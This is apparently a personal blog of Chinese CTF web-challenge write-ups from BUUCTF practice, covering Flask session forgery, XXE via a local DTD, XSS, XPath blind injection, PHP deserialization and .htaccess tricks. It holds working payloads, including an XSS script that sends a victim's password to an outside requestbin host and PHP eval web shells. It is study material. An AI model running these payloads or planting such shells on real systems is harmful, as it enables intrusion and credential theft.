buu刷题

[CISCN2019 华东南赛区]Web4

一开始以为是ssrf,发现使用local_file://可以读取文件

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

修改session为fuck即可,所以伪造session即可,但是没有爆破出密码,发现源码里面的key

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

local_file:///sys/class/net/eth0/address 读取mac地址

然后计算得到key

flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '99.2806389887'

[GoogleCTF2019 Quals]Bnv

有源码,看到xml,想到xxe攻击,记得改一下报文头为xml,然后发送了一下测试的报文,发现有不一样的回显了

root and DTD name do not match 'root' and 'xxe', line 5, column 6

发现找不到DTD,于是在下面定一下

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE message [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>

<message>&xxe;</message>

此时回显,

Failure to process entity xxe, line 7, column 15

也就说无法正常读取,也就是说他需要一个内部的DTD文件,

https://mohemiv.com/tags/xxe/

在block-post中也提到,Linux设备可能在/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。现在我们来制作DTD代码。

最终payload

<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

还有一件事是由于DTD代码有一些破坏XML的字符,所以需要他们进行这样的编码

[GWCTF 2019]mypassword

登录进去以后,看到有个反馈框,想到xss,查看源码,发现关键字替换为空,双写即可

if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

可以看到username和password已经载入表单当中了,只要将他们外带就行了利用http://http.requestbin.buuoj.cn/18v8ark1?inspect这个平台即可实现

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/18v8ark1/?a="+psw;
</scrcookieipt>

[NPUCTF2020]ezlogin

xpath的sql盲注

https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/#%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8

xpath注入攻击

XPath是一种在XML文档中查找目标信息的语言,可以用来在XML文档中对元素和属性进行遍历。XPath使用路径表达式来选取XML文档中的节点或节点集。

在XPath中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点。XML 文档是被作为节点树来对待的。树的根被称为文档节点或者根节点。

img

Xpath和Xquery语法:

  • “nodename” – 选取nodename的所有子节点
  • “/nodename” – 从根节点中选择
  • “//nodename” – 从当前节点选择
  • “..” – 选择当前节点的父节点
  • “child::node()” – 选择当前节点的所有子节点
  • “@” -选择属性
  • “//user[position()=2] “ 选择节点位置

万能密码

在知道用户名的情况下,可以直接admin’ or ‘1’=’1,由于没有注释符,所以只能用引号进行闭合,

不知道用户名的强狂下,可以使用两个or

?name=fake' or '1'or'1&pwd=fake

使用|操作符(用于计算两个节点)

?name=1']|//*|ss['&pwd=fake
其中//*用于列出文档所有元素
']|//*|//*['
该payload用于访问xml文档的所有节点

盲注

xpath盲注步骤

1.判断根节点下的节点数
2.判断根节点下节点长度&名称
3.重复猜解完所有节点,获取最后的值

‘ or count(/)=1 or ‘1 判断有几个根节点
‘ or string-length(name(/*[1]))=1 or ‘1 获取根节点长度
‘ or substring(name(/*[1]), 1, 1)=’a’ or ‘1 获取内容

通过测试发现,当’ or count(/)=1 or ‘1时,返回非法操作,如果为2,则为账号密码错误,所以存在布尔盲注,所根节点数为1,接下来判断根节点下的节点数

import requests
import string
import re
import random
import json

s = requests.session()
strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
param='<input type="hidden" id="token" value="(.*?)" />'
t=''
for i in range(1,50):
for j in strs:
url = 'http://10506bbe-96d3-4ebf-99ca-6fddf8972f8a.node4.buuoj.cn:81/login.php'
token=re.findall(param,s.get(url).text)[0]
#探测有几个节点:
#data=f"<username> ' or count(/)={i} or '1</username><password>123</password><token>"+token+"</token>" 探测出有一个节点
#data = f"<username> ' or substring(name(/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"#第一个节点名称为root
#data=f"<username> ' or substring(name(/root/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>"+token+"</token>"
#data = f"<username> ' or substring(name(/root/accounts/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
#探测user下的节点,发现有三个
#data = f"<username>' or substring(name(/root/accounts/user/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
#data = f"<username>' or substring(name(/root/accounts/user/*[2]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
#最后读取值的时候直接输入路径即可,无需在用name()包裹
data = f"<username>' or substring(/root/accounts/user[2]/password/text(), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
print(data)
r= s.post(url=url,headers=headers,data=data).text
print(r)
if '非法操作' in r:
t += j
print(t)
break
if j==0:
exit()

[极客大挑战 2020]Greatphp

<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

md5和sha1加密后相等,但是本身值不等, 这里就要拓宽思路,本身的值可以是什么?当然还可以是错误信息之类的。而这里也是用到了这个php的报错内置类导致回显结果相等

<?php

class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";

$str = "?><?=include $_GET[_]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

[XNUCA2019Qualifier]EasyPHP

这里一看就知道是要使用htaccess进行绕过了。。。

但是其实自己还没做过这样的题,积累一下姿势

利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \

直接写入执行命令

php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval($_GET['cmd']); ?>\

如上指令需要经过urlencode一下

filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20%22.htaccess%22%0A%23%3C%3fphp%20%40eval(%24_GET[%27cmd%27])%3b%20%3f%3E\

%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%3c%3f%70%68%70%20%65%63%68%6f%20%60%63%61%74%20%66%2a%60%3b%20%3f%3e%5c

payload

?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%2Fxx%2F%2BADw%3Fphp%20die(eval(%24_GET%5B2%5D))%2BADs%20%2BAF8AXw-halt%2BAF8-compiler()%2BADs%22%0Aphp_value%20error_reporting%2032767%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C

非预期解

import requests

# %23 是# 的url编码,防止python把自己注释了
# \\ , 两个\\上传上去就是 一个 \

content = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[cmd]);?>\\'''

url = "http://203dd3ff-f703-4233-b159-93832d5b93b3.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)
Author

vague huang

Posted on

2022-03-12

Updated on

2022-03-13

Licensed under

Comments